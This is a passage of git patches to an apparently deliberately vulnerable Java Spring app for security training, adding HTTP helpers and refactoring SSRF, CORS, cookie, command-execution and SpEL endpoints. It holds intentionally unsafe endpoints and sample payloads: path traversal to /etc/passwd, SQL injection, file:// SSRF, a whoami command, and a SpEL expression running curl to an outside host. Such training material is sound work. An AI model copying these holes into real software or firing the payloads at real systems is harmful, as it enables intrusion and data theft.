      * @author liergou @2020-04-04 01:43
      */
-    static Method findMethod(Class<?> inputClazz, String findName, Class<?>[] args) {
+    static Method findMethod(Class<?> clazz, String findName, Class<?>[] args) {
 
-        Class<?> temp = inputClazz;
-
-        while (temp != null) {
+        while (clazz != null) {
             try {
-                Method tmpMethod = temp.getDeclaredMethod(findName, args);
-                tmpMethod.setAccessible(true);
-                return tmpMethod;
+                Method method = clazz.getDeclaredMethod(findName, args);
+                method.setAccessible(true);
+                return method;
             } catch (NoSuchMethodException e) {
-                temp = temp.getSuperclass();
+                clazz = clazz.getSuperclass();
             }
         }
         return null;
     }
 
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
new file mode 100644
index 00000000..37eeb69a
--- /dev/null
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -0,0 +1,189 @@
+package org.joychou.util;
+
+import com.squareup.okhttp.OkHttpClient;
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.fluent.Request;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.imageio.ImageIO;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+
+/**
+ * @author JoyChou 2020-04-06
+ */
+public class HttpUtils {
+
+    private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+
+
+    /**
+     * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
+     * UserAgent is <code>Jakarta Commons-HttpClient/3.1</code>. Last publish at 2007.08.
+     *
+     * @param url http request url
+     * @return response
+     */
+    public static String commonHttpClient(String url) {
+
+        HttpClient client = new HttpClient();
+        GetMethod method = new GetMethod(url);
+
+        try {
+            client.executeMethod(method); // send request
+            byte[] resBody = method.getResponseBody();
+            return new String(resBody);
+
+        } catch (IOException e) {
+            return "Error: " + e.getMessage();
+        } finally {
+            // Release the connection.
+            method.releaseConnection();
+        }
+    }
+
+
+    public static String request(String url) {
+        try {
+            return Request.Get(url).execute().returnContent().toString();
+        } catch (Exception e) {
+            return e.getMessage();
+        }
+    }
+
+
+    public static String httpClient(String url) {
+
+        StringBuilder result = new StringBuilder();
+
+        try {
+
+            CloseableHttpClient client = HttpClients.createDefault();
+            HttpGet httpGet = new HttpGet(url);
+            HttpResponse httpResponse = client.execute(httpGet); // send request
+            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
+
+            String line;
+            while ((line = rd.readLine()) != null) {
+                result.append(line);
+            }
+
+            return result.toString();
+
+        } catch (Exception e) {
+            return e.getMessage();
+        }
+    }
+
+
+    public static String URLConnection(String url) {
+        try {
+            URL u = new URL(url);
+            URLConnection urlConnection = u.openConnection();
+            BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
+            String inputLine;
+            StringBuilder html = new StringBuilder();
+
+            while ((inputLine = in.readLine()) != null) {
+                html.append(inputLine);
+            }
+            in.close();
+            return html.toString();
+        } catch (Exception e) {
+            logger.error(e.getMessage());
+            return e.getMessage();
+        }
+    }
+
+
+    public static String HTTPURLConnection(String url) {
+        try {
+            URL u = new URL(url);
+            URLConnection urlConnection = u.openConnection();
+            HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
+            BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
+            String inputLine;
+            StringBuilder html = new StringBuilder();
+
+            while ((inputLine = in.readLine()) != null) {
+                html.append(inputLine);
+            }
+            in.close();
+            return html.toString();
+        } catch (IOException e) {
+            logger.error(e.getMessage());
+            return e.getMessage();
+        }
+    }
+
+
+    /**
+     * Jsoup is a HTML parser about Java.
+     *
+     * @param url http request url
+     */
+    public static String Jsoup(String url) {
+        try {
+            String useragent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " +
+                    "Chrome/64.0.3282.167 Safari/537.36";
+            Document doc = Jsoup.connect(url)
+                    .userAgent(useragent)
+                    .timeout(3000)
+                    .cookie("name", "joychou") // request cookies
+                    //.followRedirects(false)
+                    .execute().parse();
+            return doc.outerHtml();
+        } catch (IOException e) {
+            return e.getMessage();
+        }
+    }
+
+
+    public static void okhttp(String url) throws IOException {
+        OkHttpClient client = new OkHttpClient();
+        com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
+        client.newCall(ok_http).execute();
+    }
+
+
+    public static void imageIO(String url) {
+        try {
+            URL u = new URL(url);
+            ImageIO.read(u); // send request
+        } catch (IOException e) {
+            logger.error(e.getMessage());
+        }
+
+    }
+
+
+    /**
+     * IOUtils which is wrapped by URLConnection can get remote pictures.
+     * The default setting of redirection is true.
+     *
+     * @param url http request url
+     */
+    public static void IOUtils(String url) {
+        try {
+            IOUtils.toByteArray(URI.create(url));
+        } catch (IOException e) {
+            logger.error(e.getMessage());
+        }
+    }
+
+
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 7cc16e84..4816df8e 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -17,6 +17,7 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti
         return convertStreamToString(in);
     }
 
+
     // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java
     public static String convertStreamToString(java.io.InputStream is) {
         java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
@@ -33,6 +34,7 @@ public static String json2Jsonp(String callback, String jsonStr) {
         return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
     }
 
+
     public static String getFileExtension(String fullName) {
         Preconditions.checkNotNull(fullName);
         String fileName = (new File(fullName)).getName();
@@ -40,10 +42,13 @@ public static String getFileExtension(String fullName) {
         return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1);
     }
 
+
     public static String getNameWithoutExtension(String file) {
         Preconditions.checkNotNull(file);
         String fileName = (new File(file)).getName();
         int dotIndex = fileName.lastIndexOf('.');
         return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex);
     }
+
+
 }
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index de32f6ee..671045d5 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -14,7 +14,7 @@
         <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
         <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
         <a th:href="@{sqli/mybatis/vuln01?username=joychou' or '1'='1}">SqlInject</a>&nbsp;&nbsp;
-        <a th:href="@{/ssrf/urlConnection?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;
+        <a th:href="@{/ssrf/urlConnection/vuln?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;
         <a th:href="@{/rce/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
         <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
         <a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>

From f296f0dd927f6ecd35543bfa5f0a504f11a6992d Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 10 Apr 2020 19:08:26 +0800
Subject: [PATCH 18/38] add swagger-ui & ssrf of httpsyncclient

---
 java-sec-code.iml                             |  19 +++-
 pom.xml                                       |  24 +++-
 .../org/joychou/config/SwaggerConfig.java     |  31 ++++++
 .../java/org/joychou/controller/Cookies.java  |  13 ++-
 .../java/org/joychou/controller/Cors.java     |  25 +++--
 .../java/org/joychou/controller/Fastjson.java |   2 +-
 .../org/joychou/controller/GetRequestURI.java |   3 +-
 src/main/java/org/joychou/controller/Rce.java |   5 +-
 .../java/org/joychou/controller/SSRF.java     | 105 ++++++++++++------
 .../java/org/joychou/controller/SpEL.java     |   3 +-
 .../java/org/joychou/controller/Test.java     |  14 ++-
 .../org/joychou/controller/URLWhiteList.java  |  53 +++++----
 src/main/java/org/joychou/controller/XXE.java |   2 +-
 .../org/joychou/security/SecurityUtil.java    |  36 +++++-
 .../joychou/security/ssrf/SSRFChecker.java    |  15 +--
 .../joychou/security/ssrf/SocketHookImpl.java |   7 +-
 src/main/java/org/joychou/util/HttpUtils.java |  38 +++++--
 src/main/resources/application.properties     |   7 +-
 18 files changed, 273 insertions(+), 129 deletions(-)
 create mode 100644 src/main/java/org/joychou/config/SwaggerConfig.java

diff --git a/java-sec-code.iml b/java-sec-code.iml
index c9e18a68..720895cc 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -49,7 +49,6 @@
     <orderEntry type="library" name="Maven: org.hibernate:hibernate-validator:5.3.4.Final" level="project" />
     <orderEntry type="library" name="Maven: javax.validation:validation-api:1.1.0.Final" level="project" />
     <orderEntry type="library" name="Maven: org.jboss.logging:jboss-logging:3.3.0.Final" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml:classmate:1.3.3" level="project" />
     <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.8.6" level="project" />
     <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.8.0" level="project" />
     <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-core:2.8.6" level="project" />
@@ -76,7 +75,7 @@
     <orderEntry type="library" name="Maven: org.codehaus.mojo:animal-sniffer-annotations:1.14" level="project" />
     <orderEntry type="library" name="Maven: commons-collections:commons-collections:3.1" level="project" />
     <orderEntry type="library" name="Maven: commons-lang:commons-lang:2.4" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpclient:4.3.6" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpclient:4.5.12" level="project" />
     <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpcore:4.4.6" level="project" />
     <orderEntry type="library" name="Maven: commons-codec:commons-codec:1.10" level="project" />
     <orderEntry type="library" name="Maven: org.apache.httpcomponents:fluent-hc:4.3.6" level="project" />
@@ -200,5 +199,21 @@
     <orderEntry type="library" name="Maven: org.slf4j:slf4j-api:1.7.22" level="project" />
     <orderEntry type="library" name="Maven: org.jsoup:jsoup:1.10.2" level="project" />
     <orderEntry type="library" name="Maven: commons-io:commons-io:2.5" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpasyncclient:4.1.4" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpcore-nio:4.4.10" level="project" />
+    <orderEntry type="library" name="Maven: io.springfox:springfox-swagger2:2.9.2" level="project" />
+    <orderEntry type="library" name="Maven: io.swagger:swagger-annotations:1.5.20" level="project" />
+    <orderEntry type="library" name="Maven: io.swagger:swagger-models:1.5.20" level="project" />
+    <orderEntry type="library" name="Maven: io.springfox:springfox-spi:2.9.2" level="project" />
+    <orderEntry type="library" name="Maven: io.springfox:springfox-core:2.9.2" level="project" />
+    <orderEntry type="library" name="Maven: net.bytebuddy:byte-buddy:1.8.12" level="project" />
+    <orderEntry type="library" name="Maven: io.springfox:springfox-schema:2.9.2" level="project" />
+    <orderEntry type="library" name="Maven: io.springfox:springfox-swagger-common:2.9.2" level="project" />
+    <orderEntry type="library" name="Maven: io.springfox:springfox-spring-web:2.9.2" level="project" />
+    <orderEntry type="library" name="Maven: com.fasterxml:classmate:1.3.3" level="project" />
+    <orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-core:1.2.0.RELEASE" level="project" />
+    <orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-metadata:1.2.0.RELEASE" level="project" />
+    <orderEntry type="library" name="Maven: org.mapstruct:mapstruct:1.2.0.Final" level="project" />
+    <orderEntry type="library" name="Maven: io.springfox:springfox-swagger-ui:2.9.2" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 11de6121..6e5c2455 100644
--- a/pom.xml
+++ b/pom.xml
@@ -87,7 +87,7 @@
         <dependency>
             <groupId>org.apache.httpcomponents</groupId>
             <artifactId>httpclient</artifactId>
-            <version>4.3.6</version>
+            <version>4.5.12</version>
         </dependency>
 
         <dependency>
@@ -222,12 +222,32 @@
             <version>1.10.2</version>
         </dependency>
 
-        <!-- ssrf -->
+        <!-- SSRF -->
         <dependency>
             <groupId>commons-io</groupId>
             <artifactId>commons-io</artifactId>
             <version>2.5</version>
         </dependency>
+
+        <!-- SSRF -->
+        <dependency>
+            <groupId>org.apache.httpcomponents</groupId>
+            <artifactId>httpasyncclient</artifactId>
+            <version>4.1.4</version>
+        </dependency>
+
+        <dependency>
+            <groupId>io.springfox</groupId>
+            <artifactId>springfox-swagger2</artifactId>
+            <version>2.9.2</version>
+        </dependency>
+
+        <dependency>
+            <groupId>io.springfox</groupId>
+            <artifactId>springfox-swagger-ui</artifactId>
+            <version>2.9.2</version>
+        </dependency>
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java
new file mode 100644
index 00000000..c2a73973
--- /dev/null
+++ b/src/main/java/org/joychou/config/SwaggerConfig.java
@@ -0,0 +1,31 @@
+package org.joychou.config;
+
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import springfox.documentation.builders.PathSelectors;
+import springfox.documentation.builders.RequestHandlerSelectors;
+
+import springfox.documentation.spi.DocumentationType;
+import springfox.documentation.spring.web.plugins.Docket;
+import springfox.documentation.swagger2.annotations.EnableSwagger2;
+
+
+@Configuration
+@EnableSwagger2
+public class SwaggerConfig {
+
+    @Value("${swagger.enable}")
+    private boolean enableSwagger;
+
+    @Bean
+    public Docket api() {
+        return new Docket(DocumentationType.SWAGGER_2)
+                .enable(enableSwagger)
+                .select()
+                .apis(RequestHandlerSelectors.any())
+                .paths(PathSelectors.any())
+                .build();
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
index fc346ef6..f62efb2d 100644
--- a/src/main/java/org/joychou/controller/Cookies.java
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -1,6 +1,7 @@
 package org.joychou.controller;
 
 import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 
 import javax.servlet.http.Cookie;
@@ -17,14 +18,14 @@ public class Cookies {
 
     private static String NICK = "nick";
 
-    @RequestMapping(value = "/vuln01")
+    @GetMapping(value = "/vuln01")
     public String vuln01(HttpServletRequest req) {
         String nick = WebUtils.getCookieValueByName(req, NICK); // key code
         return "Cookie nick: " + nick;
     }
 
 
-    @RequestMapping(value = "/vuln02")
+    @GetMapping(value = "/vuln02")
     public String vuln02(HttpServletRequest req) {
         String nick = null;
         Cookie[] cookie = req.getCookies();
@@ -37,7 +38,7 @@ public String vuln02(HttpServletRequest req) {
     }
 
 
-    @RequestMapping(value = "/vuln03")
+    @GetMapping(value = "/vuln03")
     public String vuln03(HttpServletRequest req) {
         String nick = null;
         Cookie cookies[] = req.getCookies();
@@ -53,7 +54,7 @@ public String vuln03(HttpServletRequest req) {
     }
 
 
-    @RequestMapping(value = "/vuln04")
+    @GetMapping(value = "/vuln04")
     public String vuln04(HttpServletRequest req) {
         String nick = null;
         Cookie cookies[] = req.getCookies();
@@ -68,13 +69,13 @@ public String vuln04(HttpServletRequest req) {
     }
 
 
-    @RequestMapping(value = "/vuln05")
+    @GetMapping(value = "/vuln05")
     public String vuln05(@CookieValue("nick") String nick) {
         return "Cookie nick: " + nick;
     }
 
 
-    @RequestMapping(value = "/vuln06")
+    @GetMapping(value = "/vuln06")
     public String vuln06(@CookieValue(value = "nick") String nick) {
         return "Cookie nick: " + nick;
     }
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index a18e6280..870e809f 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -4,6 +4,7 @@
 import org.joychou.util.LoginUtils;
 import org.springframework.security.web.csrf.CsrfToken;
 import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
@@ -21,25 +22,25 @@ public class Cors {
 
     private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
 
-    @RequestMapping("/vuln/origin")
-    public static String vuls1(HttpServletRequest request, HttpServletResponse response) {
+    @GetMapping("/vuln/origin")
+    public String vuls1(HttpServletRequest request, HttpServletResponse response) {
         String origin = request.getHeader("origin");
         response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
         response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
         return info;
     }
 
-    @RequestMapping("/vuln/setHeader")
-    public static String vuls2(HttpServletResponse response) {
+    @GetMapping("/vuln/setHeader")
+    public String vuls2(HttpServletResponse response) {
         // 后端设置Access-Control-Allow-Origin为*的情况下，跨域的时候前端如果设置withCredentials为true会异常
         response.setHeader("Access-Control-Allow-Origin", "*");
         return info;
     }
 
 
-    @CrossOrigin("*")
+    @GetMapping("*")
     @RequestMapping("/vuln/crossOrigin")
-    public static String vuls3() {
+    public String vuls3() {
         return info;
     }
 
@@ -50,8 +51,8 @@ public static String vuls3() {
      * 代码：org/joychou/security/CustomCorsProcessor
      */
     @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
-    @RequestMapping("/sec/crossOrigin")
-    public static String secCrossOrigin() {
+    @GetMapping("/sec/crossOrigin")
+    public String secCrossOrigin() {
         return info;
     }
 
@@ -61,7 +62,7 @@ public static String secCrossOrigin() {
      * 支持自定义checkOrigin
      * 代码：org/joychou/config/CorsConfig.java
      */
-    @RequestMapping("/sec/webMvcConfigurer")
+    @GetMapping("/sec/webMvcConfigurer")
     public CsrfToken getCsrfToken_01(CsrfToken token) {
         return token;
     }
@@ -72,7 +73,7 @@ public CsrfToken getCsrfToken_01(CsrfToken token) {
      * 不支持自定义checkOrigin，因为spring security优先于setCorsProcessor执行
      * 代码：org/joychou/security/WebSecurityConfig.java
      */
-    @RequestMapping("/sec/httpCors")
+    @GetMapping("/sec/httpCors")
     public CsrfToken getCsrfToken_02(CsrfToken token) {
         return token;
     }
@@ -83,7 +84,7 @@ public CsrfToken getCsrfToken_02(CsrfToken token) {
      * 支持自定义checkOrigin
      * 代码：org/joychou/filter/OriginFilter.java
      */
-    @RequestMapping("/sec/originFilter")
+    @GetMapping("/sec/originFilter")
     public CsrfToken getCsrfToken_03(CsrfToken token) {
         return token;
     }
@@ -100,7 +101,7 @@ public CsrfToken getCsrfToken_04(CsrfToken token) {
     }
 
 
-    @RequestMapping("/sec/checkOrigin")
+    @GetMapping("/sec/checkOrigin")
     public String seccode(HttpServletRequest request, HttpServletResponse response) {
         String origin = request.getHeader("Origin");
 
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 6063b507..37c4ec18 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -16,7 +16,7 @@ public class Fastjson {
 
     @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
     @ResponseBody
-    public static String Deserialize(@RequestBody String params) {
+    public String Deserialize(@RequestBody String params) {
         // 如果Content-Type不设置application/json格式，post数据会被url编码
         try {
             // 将post提交的string转换为json
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
index 87405b62..e500b980 100644
--- a/src/main/java/org/joychou/controller/GetRequestURI.java
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -5,6 +5,7 @@
 import org.slf4j.LoggerFactory;
 import org.springframework.util.AntPathMatcher;
 import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
@@ -30,7 +31,7 @@ public class GetRequestURI {
 
     private final Logger logger = LoggerFactory.getLogger(this.getClass());
 
-    @RequestMapping(value = "/exclued/vuln")
+    @GetMapping(value = "/exclued/vuln")
     public String exclued(HttpServletRequest request) {
 
         String[] excluedPath = {"/css/**", "/js/**"};
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index 1bb1face..d87b2a7b 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,7 +1,7 @@
 package org.joychou.controller;
 
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
 import java.io.BufferedInputStream;
@@ -17,8 +17,7 @@
 @RequestMapping("/rce")
 public class Rce {
 
-    @RequestMapping("/exec")
-    @ResponseBody
+    @GetMapping("/exec")
     public String CommandExec(String cmd) {
         Runtime run = Runtime.getRuntime();
         StringBuilder sb = new StringBuilder();
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 12384717..a98c9952 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -6,10 +6,7 @@
 import org.joychou.util.WebUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.bind.annotation.*;
 
 import javax.servlet.http.HttpServletResponse;
 import java.io.*;
@@ -29,17 +26,21 @@ public class SSRF {
     private static Logger logger = LoggerFactory.getLogger(SSRF.class);
 
 
-    @RequestMapping("/urlConnection/vuln")
-    public static String URLConnectionVuln(String url) {
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is Java/1.8.0_102.
+     */
+    @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
+    public String URLConnectionVuln(String url) {
         return HttpUtils.URLConnection(url);
     }
 
 
-    @RequestMapping("/urlConnection/sec")
-    public static String URLConnectionSec(String url) {
+    @GetMapping("/urlConnection/sec")
+    public String URLConnectionSec(String url) {
 
         // Decline not http/https protocol
-        if (!url.startsWith("http://") && !url.startsWith("https://")) {
+        if (!SecurityUtil.isHttp(url)) {
             return "[-] SSRF check failed";
         }
 
@@ -55,9 +56,12 @@ public static String URLConnectionSec(String url) {
     }
 
 
-    @RequestMapping("/HttpURLConnection/sec")
-    @ResponseBody
-    public static String httpURLConnection(@RequestParam String url) {
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is Java/1.8.0_102.
+     */
+    @GetMapping("/HttpURLConnection/sec")
+    public String httpURLConnection(@RequestParam String url) {
         try {
             SecurityUtil.startSSRFHook();
             return HttpUtils.HTTPURLConnection(url);
@@ -69,10 +73,14 @@ public static String httpURLConnection(@RequestParam String url) {
     }
 
 
-    // http://localhost:8080/ssrf/request/sec?url=http://www.baidu.com
-    @RequestMapping("/request/sec")
-    @ResponseBody
-    public static String request(@RequestParam String url) {
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>.
+     *
+     * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+     */
+    @GetMapping("/request/sec")
+    public String request(@RequestParam String url) {
         try {
             SecurityUtil.startSSRFHook();
             return HttpUtils.request(url);
@@ -92,9 +100,8 @@ public static String request(@RequestParam String url) {
      * new URL(String url).openStream()
      * new URL(String url).getContent()
      */
-    @RequestMapping("/openStream")
-    @ResponseBody
-    public static void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
+    @GetMapping("/openStream")
+    public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
         InputStream inputStream = null;
         OutputStream outputStream = null;
         try {
@@ -124,9 +131,12 @@ public static void openStream(@RequestParam String url, HttpServletResponse resp
     }
 
 
-    @RequestMapping("/ImageIO/sec")
-    @ResponseBody
-    public static String ImageIO(@RequestParam String url) {
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is Java/1.8.0_102.
+     */
+    @GetMapping("/ImageIO/sec")
+    public String ImageIO(@RequestParam String url) {
         try {
             SecurityUtil.startSSRFHook();
             HttpUtils.imageIO(url);
@@ -140,9 +150,12 @@ public static String ImageIO(@RequestParam String url) {
     }
 
 
-    @RequestMapping("/okhttp/sec")
-    @ResponseBody
-    public static String okhttp(@RequestParam String url) {
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>okhttp/2.5.0</code>.
+     */
+    @GetMapping("/okhttp/sec")
+    public String okhttp(@RequestParam String url) {
 
         try {
             SecurityUtil.startSSRFHook();
@@ -158,11 +171,13 @@ public static String okhttp(@RequestParam String url) {
 
 
     /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>.
+     *
      * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
      */
-    @RequestMapping("/httpclient/sec")
-    @ResponseBody
-    public static String HttpClient(@RequestParam String url) {
+    @GetMapping("/httpclient/sec")
+    public String HttpClient(@RequestParam String url) {
 
         try {
             SecurityUtil.startSSRFHook();
@@ -177,11 +192,13 @@ public static String HttpClient(@RequestParam String url) {
 
 
     /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Jakarta Commons-HttpClient/3.1</code>.
+     *
      * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
      */
-    @RequestMapping("/commonsHttpClient/sec")
-    @ResponseBody
-    public static String commonsHttpClient(@RequestParam String url) {
+    @GetMapping("/commonsHttpClient/sec")
+    public String commonsHttpClient(@RequestParam String url) {
 
         try {
             SecurityUtil.startSSRFHook();
@@ -195,11 +212,13 @@ public static String commonsHttpClient(@RequestParam String url) {
     }
 
     /**
+     * The default setting of followRedirects is true.
+     * UserAgent is the useragent of browser.
+     *
      * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
      */
-    @RequestMapping("/Jsoup/sec")
-    @ResponseBody
-    public static String Jsoup(@RequestParam String url) {
+    @GetMapping("/Jsoup/sec")
+    public String Jsoup(@RequestParam String url) {
 
         try {
             SecurityUtil.startSSRFHook();
@@ -214,11 +233,13 @@ public static String Jsoup(@RequestParam String url) {
 
 
     /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Java/1.8.0_102</code>.
+     *
      * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
      */
-    @RequestMapping("/IOUtils/sec")
-    public static String IOUtils(String url) {
-
+    @GetMapping("/IOUtils/sec")
+    public String IOUtils(String url) {
         try {
             SecurityUtil.startSSRFHook();
             HttpUtils.IOUtils(url);
@@ -232,4 +253,14 @@ public static String IOUtils(String url) {
     }
 
 
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is <code>Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102)</code>.
+     */
+    @GetMapping("/HttpSyncClients/vuln")
+    public String HttpSyncClients(@RequestParam("url") String url) {
+        return HttpUtils.HttpAsyncClients(url);
+    }
+
+
 }
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 6d06ffc7..82163ab2 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -2,6 +2,7 @@
 
 import org.springframework.expression.ExpressionParser;
 import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
@@ -20,7 +21,7 @@ public class SpEL {
      * xxx is urlencode(exp)
      * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
      */
-    @RequestMapping("/spel/vuln")
+    @GetMapping("/spel/vuln")
     public String rce(String expression) {
         ExpressionParser parser = new SpelExpressionParser();
         // fix method: SimpleEvaluationContext
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
index 8bc0d38b..3b75c7d0 100644
--- a/src/main/java/org/joychou/controller/Test.java
+++ b/src/main/java/org/joychou/controller/Test.java
@@ -3,16 +3,16 @@
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
 
 import javax.servlet.http.Cookie;
 import javax.servlet.http.HttpServletResponse;
 
-@Controller
+@RestController
 @RequestMapping("/test")
 public class Test {
 
     @RequestMapping(value = "/")
-    @ResponseBody
     public String Index(HttpServletResponse response, String empId) {
 
         System.out.println(empId);
@@ -23,4 +23,14 @@ public String Index(HttpServletResponse response, String empId) {
         return "success";
     }
 
+
+    @RequestMapping(value = "/aa")
+    public void test(HttpServletResponse response, String empId) {
+
+        System.out.println(empId);
+        Cookie cookie = new Cookie("XSRF-TOKEN", "123");
+        cookie.setDomain("taobao.com");
